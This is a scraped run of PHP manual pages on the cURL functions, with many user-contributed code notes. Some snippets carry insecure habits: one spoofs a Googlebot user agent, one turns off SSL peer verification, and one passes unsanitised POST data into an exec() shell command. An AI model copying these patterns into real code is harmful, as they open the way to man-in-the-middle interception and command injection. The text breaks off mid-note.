  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

~Ron
Resource Types
Examples
cURL


Examples

Table of Contents

  • Basic curl example

User Contributed Notes

William at crandell dot ws 19-Feb-2010 03:11
I have found that cURL is pretty easy to use overall.  Though I have noticed that many have tried and struggled with using cURL and getting a ASP.NET or .aspx form/ page to give back a response.  I am included in the people who have struggled.
To note it seems to be something with the way the form authenticates.

From what I have seen and gathered ASP.NET has a "postback" function using AJAX, __EVENTTARGET, __EVENTARGUMENT and viewstate.  That is where you need to start and make use of the post option with cURL.

Though I do not have an example to offer, I understand that you may need to do more than 1 curl session to complete everything.  One to post and one to get.
vojta at draxl dot eu 16-Aug-2009 02:34
The previous solution is useful for passing through The Google Docs form and also handle the filled data at own server.

You can add the missing feature of confirmation mail with own script and more

PHP converts the dots in the variable's names to underscore. So dont forget to replace back the _ with . in the names of POST variables before sending to google.
ac at zwerg dot at 26-Jun-2009 04:46
If you want to write a sort of php wrapper to include the results of another http(s) request maybe pointing to a totally different site or just different code (mod_perl with HTML::Mason, in my case) into a php based layout, and just pass-thru all GET and POST variables to the sub-request, the following snippet can be used. Note there is no error handling, so this is subject to the underlying application.

<?php
$ch = curl_init($sub_req_url);
$encoded = '';
// include GET as well as POST variables; your needs may vary.
foreach($_GET as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
foreach($_POST as $name => $value) {
  $encoded .= urlencode($name).'='.urlencode($value).'&';
}
// chop off last ampersand
$encoded = substr($encoded, 0, strlen($encoded)-1);
curl_setopt($ch, CURLOPT_POSTFIELDS,  $encoded);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_exec($ch);
curl_close($ch);
?>
cmnajs at gmail dot com 07-Jan-2009 03:57
Following code returns the curl output as a string.

<?php
        // create curl resource
        $ch = curl_init();

        // set url
        curl_setopt($ch, CURLOPT_URL, "example.com");

        //return the transfer as a string
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

        // $output contains the output string
        $output = curl_exec($ch);

        // close curl resource to free up system resources
        curl_close($ch);
?>
randearievilo at gmail dot com 16-Jun-2008 10:39
This simple code work fine using libcurl versions before 7.18.x.

<?php
        $ch = curl_init("www.example.com/curl.php?option=test");
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
        echo $output;
?>

If you have some trouble (Ex.: Failed to open/read local data from file/application) using a similar code with libcurl 7.18.x, try to add the option curl_setopt($ch, CURLOPT_POSTFIELDS, "").

I think there was a change in the option CURLOPT_POST. Now, to use this option, it seems to be necessary to set the option CURLOPT_POSTFIELDS.
jlee8df at gmail dot com 30-May-2008 01:47
Basic cURL file or page download with basic error trapping.

<?php

function cURLcheckBasicFunctions()
{
  if( !function_exists("curl_init") &&
      !function_exists("curl_setopt") &&
      !function_exists("curl_exec") &&
      !function_exists("curl_close") ) return false;
  else return true;
}

/*
 * Returns string status information.
 * Can be changed to int or bool return types.
 */
function cURLdownload($url, $file)
{
  if( !cURLcheckBasicFunctions() ) return "UNAVAILABLE: cURL Basic Functions";
  $ch = curl_init();
  if($ch)
  {
    $fp = fopen($file, "w");
    if($fp)
    {
      if( !curl_setopt($ch, CURLOPT_URL, $url) )
      {
        fclose($fp); // to match fopen()
        curl_close($ch); // to match curl_init()
        return "FAIL: curl_setopt(CURLOPT_URL)";
      }
      if( !curl_setopt($ch, CURLOPT_FILE, $fp) ) return "FAIL: curl_setopt(CURLOPT_FILE)";
      if( !curl_setopt($ch, CURLOPT_HEADER, 0) ) return "FAIL: curl_setopt(CURLOPT_HEADER)";
      if( !curl_exec($ch) ) return "FAIL: curl_exec()";
      curl_close($ch);
      fclose($fp);
      return "SUCCESS: $file [$url]";
    }
    else return "FAIL: fopen()";
  }
  else return "FAIL: curl_init()";
}

// Download from 'example.com' to 'example.txt'
echo cURLdownload("http://www.example.com", "example.txt");

?>

- JLèé
Predefined Constants
Basic curl example
cURL


Basic curl example

Once you've compiled PHP with cURL support, you can begin using the cURL functions. The basic idea behind the cURL functions is that you initialize a cURL session using the curl_init(), then you can set all your options for the transfer via the curl_setopt(), then you can execute the session with the curl_exec() and then you finish off your session using the curl_close(). Here is an example that uses the cURL functions to fetch the example.com homepage into a file:

Example #1 Using PHP's cURL module to fetch the example.com homepage

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);
fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
cURL Functions
Examples


cURL Functions

Table of Contents

  • curl_close — Close a cURL session
  • curl_copy_handle — Copy a cURL handle along with all of its preferences
  • curl_errno — Return the last error number
  • curl_error — Return a string containing the last error for the current session
  • curl_exec — Perform a cURL session
  • curl_getinfo — Get information regarding a specific transfer
  • curl_init — Initialize a cURL session
  • curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle
  • curl_multi_close — Close a set of cURL handles
  • curl_multi_exec — Run the sub-connections of the current cURL handle
  • curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set
  • curl_multi_info_read — Get information about the current transfers
  • curl_multi_init — Returns a new cURL multi handle
  • curl_multi_remove_handle — Remove a multi handle from a set of cURL handles
  • curl_multi_select — Wait for activity on any curl_multi connection
  • curl_setopt_array — Set multiple options for a cURL transfer
  • curl_setopt — Set an option for a cURL transfer
  • curl_version — Gets cURL version information

User Contributed Notes

arturm at union dot com dot pl 20-Apr-2010 09:03
One of the reasons why curl can be slow is that it appends header "Expect: 100-continue". Try this fix:

<?php
$headers = array(
  "Expect:",
  // more headers here
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
?>
Emprivo.com 26-Aug-2009 09:58
Fixed bugs in the function posted earlier (better javascript redirect following and now supports HTTPS)

<?php

/*==================================
Get url content and response headers (given a url, follows all redirections on it and returned content and response headers of final url)

@return    array[0]    content
        array[1]    array of response headers
==================================*/
function get_url( $url,  $javascript_loop = 0, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );    # required for https urls
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");

        if ( $headers = get_headers($response['url']) )
        {
            foreach( $headers as $value )
            {
                if ( substr( strtolower($value), 0, 9 ) == "location:" )
                    return get_url( trim( substr( $value, 9, strlen($value) ) ) );
            }
        }
    }

    if (    ( preg_match("/>[[:space:]]+window\.location\.replace\('(.*)'\)/i", $content, $value) || preg_match("/>[[:space:]]+window\.location\=\"(.*)\"/i", $content, $value) ) &&
            $javascript_loop < 5
    )
    {
        return get_url( $value[1], $javascript_loop+1 );
    }
    else
    {
        return array( $content, $response );
    }
}

?>
Emprivo 11-Aug-2009 12:21
To follow ALL redirects using CURL brings up a lot of special cases. Here's a function that takes everything into account (even javascript redirects)

<?php

function get_final_url( $url, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");
        $headers = get_headers($response['url']);

        $location = "";
        foreach( $headers as $value )
        {
            if ( substr( strtolower($value), 0, 9 ) == "location:" )
                return get_final_url( trim( substr( $value, 9, strlen($value) ) ) );
        }
    }

    if (    preg_match("/window\.location\.replace\('(.*)'\)/i", $content, $value) ||
            preg_match("/window\.location\=\"(.*)\"/i", $content, $value)
    )
    {
        return get_final_url ( $value[1] );
    }
    else
    {
        return $response['url'];
    }
}

?>
Peter X. 02-May-2008 07:44
Although it has been noted that cURL outperforms both file_get_contents and fopen when it comes to getting a file over a HTTP link, the disadvantage of cURL is that it has no way of only reading a part of a page at a time.

For example, the following code is likely to generate a memory limit error:

<?php
$ch = curl_init("http://www.example.com/reallybigfile.tar.gz");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$output = curl_exec($ch);

$fh = fopen("out.tar.gz", 'w');
fwrite($fh, $output);
fclose($fh);
?>

While this, on the other hand, wouldn't

<?php
$hostfile = fopen("http://www.example.com/reallybigfile.tar.gz", 'r');
$fh = fopen("out.tar.gz", 'w');

while (!feof($hostfile)) {
    $output = fread($hostfile, 8192);
    fwrite($fh, $output);
}

fclose($hostfile);
fclose($fh);
?>
cduke420 at gmail dot com 02-May-2008 11:20
In order to prevent curl sending messages to the server error log, you need to instruct curl to use a temporary file for output on stderr.

<?php
$gacookie="/askapache/tmp/curl-1.txt";
@touch($gacookie);
@chmod($gacookie,0666);

if($fp = tmpfile()){
  $ch = curl_init("http://www.askapache.com/p.php");
  curl_setopt ($ch, CURLOPT_STDERR, $fp);
  curl_setopt ($ch, CURLOPT_VERBOSE, 2);
  curl_setopt ($ch, CURLOPT_ENCODING, 0);
  curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
  curl_setopt ($ch, CURLOPT_HTTPHEADER, $FF);
  curl_setopt ($ch, CURLOPT_COOKIEFILE, $gacookie);
  curl_setopt ($ch, CURLOPT_COOKIEJAR, $gacookie);
  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt ($ch, CURLOPT_FAILONERROR, 1);
  curl_setopt ($ch, CURLOPT_HEADER, 1);
  curl_setopt ($ch, CURLINFO_HEADER_OUT, 1);
  curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 30);
  $r=curl_exec($ch);$ch_info=curl_getinfo($ch);
  if (curl_errno($ch)) return false;
  else curl_close($ch);
  header("Content-type: text/plain");
  echo $r;
  sleep(2);

  $postdata='keywords='.$_GET['k'];

  $ch1 = curl_init("http://www.askapache.com/p.php");
  curl_setopt ($ch1, CURLOPT_STDERR, $fp);
  curl_setopt ($ch1, CURLOPT_VERBOSE, 2);
  curl_setopt ($ch1, CURLOPT_ENCODING, 0);
  curl_setopt ($ch1, CURLOPT_USERAGENT, 'Mozilla/5.0');
  curl_setopt ($ch1, CURLOPT_COOKIEJAR, $gacookie);
  curl_setopt ($ch1, CURLOPT_COOKIEFILE, $gacookie);
  curl_setopt ($ch1, CURLOPT_POSTFIELDS, $postdata);
  curl_setopt ($ch1, CURLOPT_POST, 1);
  curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt ($ch1, CURLOPT_FAILONERROR, 1);
  curl_setopt ($ch1, CURLOPT_HEADER, 1);
  curl_setopt ($ch1, CURLINFO_HEADER_OUT, 1);
  curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 30);
  $r=curl_exec ($ch1);$ch1_info=curl_getinfo($ch1);
  if (curl_errno($ch1)) return false;
  else curl_close($ch1);
  header("Content-type: text/plain");print_r($ch1_info);echo $r;sleep(2);

}fclose($fp);
@unlink($gacookie);
?>

See also: http://www.askapache.com/security/curl-google-post-feed.html
fgabrieli at gmail com 08-Mar-2008 06:20
Do not forget to use the complete path for the cookies

<?php
$ch = curl_init() ;

$myfile = "d:\\mydir\\second_dir\\cookiefile.txt" ;

curl_setopt($ch, CURLOPT_COOKIEJAR, $myfile) ;
?>

Best regards,
Fernando Gabrieli
lancelot--du-lac at hotmail dot fr 26-Jan-2008 03:26
As a windows xp user having php 5.2.5 running as an apache module on my personal computer, all I had to do in order to get this CURL stuff working is to uncomment the following line in my php.ini file:

extension=php_curl.dll

Thought I'd just mention it as it may save time to others since it seems somehow less compicated than the process mentioned (without sufficient explanation, mind you) in the above article (compile php??? options??? all I ever did to install php was to unzip the archive I downloaded and add a couple of line to my apache conf file).

I just tried downloading a web page and save its source into a text file using the example from the manual above. When the php_curl.dll extension is not active, it doesn't work (fatal error with init_curl, as you'd expect). When the php_curl.dll extension is active, it works. No need for any other intricate operation as far as I can say.

Otherwise, it's great that I now have my tool for doing any http request i want.
ryan at tankprofiler dot com 29-Oct-2007 12:26
If you have trouble on server 2003, IIS 6 ( perhaps other versions ) with getting the php_curl loading please see the following.

- run (as an administrator) php.exe -i > C:\phpinfo.txt and go open C:\phpinfo.txt, look in the file to see if CURL was loading, if it's there then keep reading.

- running <?PHP phpinfo(); ?> inside a text.php script on my IIS server would not show CURL loading

- A permissions problem on libeay32.dll and ssleay32.dll was causing the cli version of php allowing me access to these two dlls while IIS was not able to get them.  I gave 'everyone' read and execute on these two dll's to try to fix the issue and it just now worked. You may wish to be more restrictive, perhaps IUSR rather than EVERYONE; but check your permissions none-the-less.

Hopefully this saves someone some time!
- Ryan Nanney
Mr.KTO 07-Jul-2007 06:59
Don't foget to curl_close($ch); Even if curl_errno($ch) != 0

Because if you don't - on Windows this will produce windows-error-report (Program terminated unexpectedly)
killermonk at REMOVE dot killermonk dot com 06-Mar-2007 11:23
For anyone trying to use cURL to submit to an ASP/ASPX page that uses an image as the submit button.

Make sure that you have 'button_name.x' and 'button_name.y' in the post fields. PHP names these fields 'button_name_x' and 'button_name_y', while ASP uses a dot.

Also, as noted above, be sure to include the '__VIEWSTATE' input field in your post request.
gordon_e_rouse at yahoo dot com dot au 25-Jan-2007 02:24
Using curl to take snapshots of the current page for emailing the HTML is a clever little idea. (ie: Email this page to a friend)

<?php
//to be explained below!
session_write_close();

$pageurl = "http://www.site.com/content.php?PHPSESSID=123XYZ
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_URL, $pageurl );
$html = curl_exec ( $ch );
curl_close($ch);

//then you need to fix pathing to absolute
$search = "/(src|href|background)=\"[^:,^>,^\"]*\"/i";

preg_match_all ( $search, $html, $a_matches );

//you can figure out the rest ! but thought the reg expression is useful as well
?>

But here is the catch, you may want to make sure curl connects to the server under the same session as the browser. So naturally you pass the session cookie through the curl system either by the cookie jar system, or through the query string in the path.

This is where you will get stuck. PHP will need write access to the same session file simultaneously!! causing serious hanging issues!

This is why you should close off your session before you make curl take a page snapshot!
michael (at) networkstuff co nz 20-Jan-2007 01:05
If PHP configure fails with cURL errors, try ommiting the --with-curl=path and just make this --with-curl.
Of course it will also be optimal to make sure that the cURL library directory is listed in /etc/ld.so.conf and then run 'ldconfig'.
By default this is /usr/local/lib.
jon at jonroig--- dot com 25-Aug-2006 06:53
For anyone who is having trouble getting some of the advanced functionality to work in whatever version of PHP you have, I wrote a little wrapper for the command line version of curl. The function below is for Windows (hence, the curl.exe), but it works the same way under Linux or whatever.

The curl man page enumerates a ton of options you can use...

<?php
function curlPageGrabber($destinationURL, $refererURL, $postData, $autoForward = false, $autoGrabCookies = true, $curlDebug = false)
  {
  $curlString = "c:\curl\curl.exe -i -v -m 30 -L -b c:\curl\cookiejar.txt -c c:\curl\cookiejar.txt ";
  $curlString .= " -A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;)\" ";
  $curlString .= " -H \"Accept-Language: en-us\" ";
  $curlString .= " -H \"Accept-Encoding: gzip, deflate\" ";
  $curlString .= " -H \"Host: affiliate-program.amazon.com\" ";
  $curlString .= " -H \"Accept: */*\" ";
  $curlString .= " --compressed ";
  //$curlString .= " --trace-ascii ";

  if ($refererURL != '')
    {
    $curlString .= "-e \"".$refererURL."\" ";
    }
  if ($postData != '')
    {
    $curlString.= " -d \"$postData\" ";
    }
  $curlString .= $destinationURL;
  if ($curlDebug == true)
    {
    echo "<p>curlString: $curlString</p>";
    }

  $temp = exec($curlString, $retval);

  $htmlData = '';
  foreach ($retval as $arrayLine)
    {
    $htmlData .= $arrayLine."\r\n";
    }
  if ($curlDebug == true)
    {
    echo "<textarea cols=80 rows=20>$htmlData</textarea>";
    }

  return $htmlData;

  } // end function
?>
galvao at galvao.eti.br 06-Jul-2006 08:27
Note that on Win32 this documentation can get a little confusing.

In order to get this to work you need to:

1) Be sure that the folder where libeay32.dll and ssleay32.dll - tipically C:\\PHP - is present on the PATH variable.

2) Uncomment - remove the semi-colon - the line that says "extension=php_curl.dll" from php.ini

3) Restart the webserver (you should already know this one, but...)

It took me some time to realize this, since this page doesn't mention the need to uncomment that php.ini's line.
david at neocodesoftware dot com 30-May-2006 05:42
This may be obvious to everybody *except* me, but if you want to use curl to connect via ftp rather than http, then you just need to use "ftp://" in the url specification (I was looking for an use_ftp flag or something).

Use the CURLOPT_USERPWD to login to the ftp site.
Sean Huber 05-May-2006 04:01
<?php
/*
Sean Huber CURL library

This library is a basic implementation of CURL capabilities.
It works in most modern versions of IE and FF.

==================================== USAGE ====================================
It exports the CURL object globally, so set a callback with setCallback($func).
(Use setCallback(array('class_name', 'func_name')) to set a callback as a func
that lies within a different class)
Then use one of the CURL request methods:

get($url);
post($url, $vars); vars is a urlencoded string in query string format.

Your callback function will then be called with 1 argument, the response text.
If a callback is not defined, your request will return the response text.
*/

class CURL {
    var $callback = false;

function setCallback($func_name) {
    $this->callback = $func_name;
}

function doRequest($method, $url, $vars) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
    }
    $data = curl_exec($ch);
    curl_close($ch);
    if ($data) {
        if ($this->callback)
        {
            $callback = $this->callback;
            $this->callback = false;
            return call_user_func($callback, $data);
        } else {
            return $data;
        }
    } else {
        return curl_error($ch);
    }
}

function get($url) {
    return $this->doRequest('GET', $url, 'NULL');
}

function post($url, $vars) {
    return $this->doRequest('POST', $url, $vars);
}
}
?>
richardkmiller AT gmail 02-Mar-2006 04:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
stevehartken at hotmail dot com 21-Feb-2006 10:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

<?php
function processURL($url){
    $url=str_replace('&amp;','&',$url);
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $xml = curl_exec ($ch);
    curl_close ($ch);
    echo $xml;
}
?>
mikeb[at]xamo[dot]com 14-Oct-2004 01:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com 14-Sep-2004 02:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

<?php
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>

And then,

<?php
    $curl_output=curl_exec($ch);
?>

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
rich @ richud dot com 11-Jun-2004 07:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk 03-Mar-2004 04:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited
hraefn at hraefn dot net 03-Feb-2004 01:15
You can request (and have deflated for you) compressed http (from mod_gzip or ob_gzhandler, for instance) by using the following:

<?php
curl_setopt($ch,CURLOPT_ENCODING , "gzip");
?>

This seems to work fine with the latest php (4.3.4) curl (7.11.0) and zlib (1.1.4) under linux.  This is much more elegant than forcing the Accept-Encode header and using gzdeflate on an edited result.
bharris at spro dot net 25-Feb-2003 04:58
For Win2000: To get the 4.3.1 curl dll to work with https you now need to download the latest win32 curl library from http://curl.haxx.se and snag the ca-bundle.crt file from the lib directory.  Place this somewhere handy on your webserver.

Then in your PHP script, add the following setopt line to the rest of your curl_setopt commands:

<?php curl_setopt($ch, CURLOPT_CAFILE, 'C:\pathto\ca-bundle.crt'); ?>

This worked for me and allowed me to discontinue using the CURLOPT_SSL_VERIFYPEER set to zero hack.
Basic curl example
curl_close
cURL


Close a cURL session

cURL Functions
curl_copy_handle
cURL Functions
PHP Manual

curl_close

(PHP 4 >= 4.0.2, PHP 5)

curl_close — Close a cURL session

Description

void curl_close ( resource $ch )

Closes a cURL session and frees all resources. The cURL handle, ch, is also deleted.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

No value is returned.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_init() - Initialize a cURL session
  • curl_multi_close() - Close a set of cURL handles

User Contributed Notes

There are no user contributed notes for this page.
cURL Functions
curl_copy_handle
cURL Functions


Copy a cURL handle along with all of its preferences

curl_close
curl_errno
cURL Functions
PHP Manual

curl_copy_handle

(PHP 5)

curl_copy_handle — Copy a cURL handle along with all of its preferences

Description

resource curl_copy_handle ( resource $ch )

Copies a cURL handle keeping the same preferences.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns a new cURL handle.

Examples

Example #1 Copying a cURL handle

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// copy the handle
$ch2 = curl_copy_handle($ch);

// grab URL (http://www.example.com/) and pass it to the browser
curl_exec($ch2);

// close cURL resources, and free up system resources
curl_close($ch2);
curl_close($ch);
?>

User Contributed Notes

ac221 at sussex dot ac dot uk 16-Jun-2008 03:00
Hmm I don't have a problem with this, using PHP 5.2.5 libcurl 7.16.3 maybe it's been fixed ...

I am m having trouble getting curl_copy_handle to copy all the curlopts across though...

    protected function curlMultiPrime(array $reqArr){
        // Store the request array so we can reinitialise the multi handle
        $this->reqArr = $reqArr;
        // Close existing curl uni handles
        $this->closeMultiCurlUniHandles();
        foreach($reqArr as $curlConf){
            if(!($curlConf instanceof curlConfRequest ))
                throw new curlConfException('All objects passed to configure requests must be instances of curlConfRequest.',curlConfException::CURL_INVALID_CONF_OBJ);
            if(!$cch = curl_copy_handle($this->curlHandle)){
                throw new curlException('Failed to clone template curl handle.',$this->curlHandle);
            }else{
                curl_setopt_array($cch,$curlConf->getCurlOpts());
            }
            if(curl_multi_add_handle($this->curlMultiHandle,$cch) === 0){
                $this->curlUniHandleRef[] = $cch;
            }else{
                throw new curlException('Failed to add curl handle to multi stack.',$cch);
            }
        }
    }
administrator at proxy-list dot org 22-Jan-2008 05:08
There is some internal curl error (CURLE_FAILED_INIT) when you are trying to use just copied curl handle in curl_multi_add_handle(). I have checked the same problematic PHP code but with little difference: instead of creating curl’s copy I have used the original one (template). As I expect code works without any error. I think curl_multi_* along with curl_copy_handle() is still raw and needs some improvements.

With best wishes

Vitali Simsive
nicolac76 at yahoo dot fr 03-Sep-2007 03:14
Something work wrong if you use the var $i for a for...
$i cannot go over 127 (0111 1111b), more over you must say that the var is an int...

<?
$j=(int)0;
$curl = curl_init("http://www.example.com");

for($j=1;$j<=128;$j++) {
    $ch = curl_copy_handle($curl);
    curl_close($ch);
}
curl_close($curl);
?>
Andrew 19-May-2007 11:39
You can use it for some kind of templates:

<?php
$ch = array();
$ch[0] = curl_init();
curl_setopt($ch[0], CURLOPT_URL, 'http://beengo.net/');
curl_setopt($ch[0], CURLOPT_HEADER, 0);
curl_setopt($ch[0], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch[0], CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch[0], CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$ch[1] = curl_copy_handle($ch[0]);
curl_setopt($ch[1], CURLOPT_URL, 'http://beengo.net/cells/list');

$ch[2] = curl_copy_handle($ch[0]);
curl_setopt($ch[2], CURLOPT_URL, 'http://beengo.net/cells/list?q=travel');

/* And so on, when you need to get number of pages with same parameters... */

?>
curl_close
curl_errno
cURL Functions


Return the last error number

curl_copy_handle
curl_error
cURL Functions
PHP Manual

curl_errno

(PHP 4 >= 4.0.3, PHP 5)

curl_errno — Return the last error number

Description

int curl_errno ( resource $ch )

Returns the error number for the last cURL operation.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Returns the error number or 0 (zero) if no error occurred.

Examples

Example #1 curl_errno() example

<?php
// Create a curl handle to a non-existing location
$ch = curl_init('http://404.php.net/');

// Execute
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// Check if any error occured
if(curl_errno($ch))
{
    echo 'Curl error: ' . curl_error($ch);
}

// Close handle
curl_close($ch);
?>

See Also

  • curl_error() - Return a string containing the last error for the current session
  • » Curl error codes

User Contributed Notes

david at liip dot ch 09-Dec-2011 02:40
you should look on http://php.net/manual/en/curl.constants.php for the error codes, not on the linked official curl doc. some of the error codes are different, at least the one mentioned on the other page:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT
denis at reddodo dot com 27-Mar-2011 03:10
if someone need more information about curl errors
<?php
$error_codes=array(
[1] => 'CURLE_UNSUPPORTED_PROTOCOL',
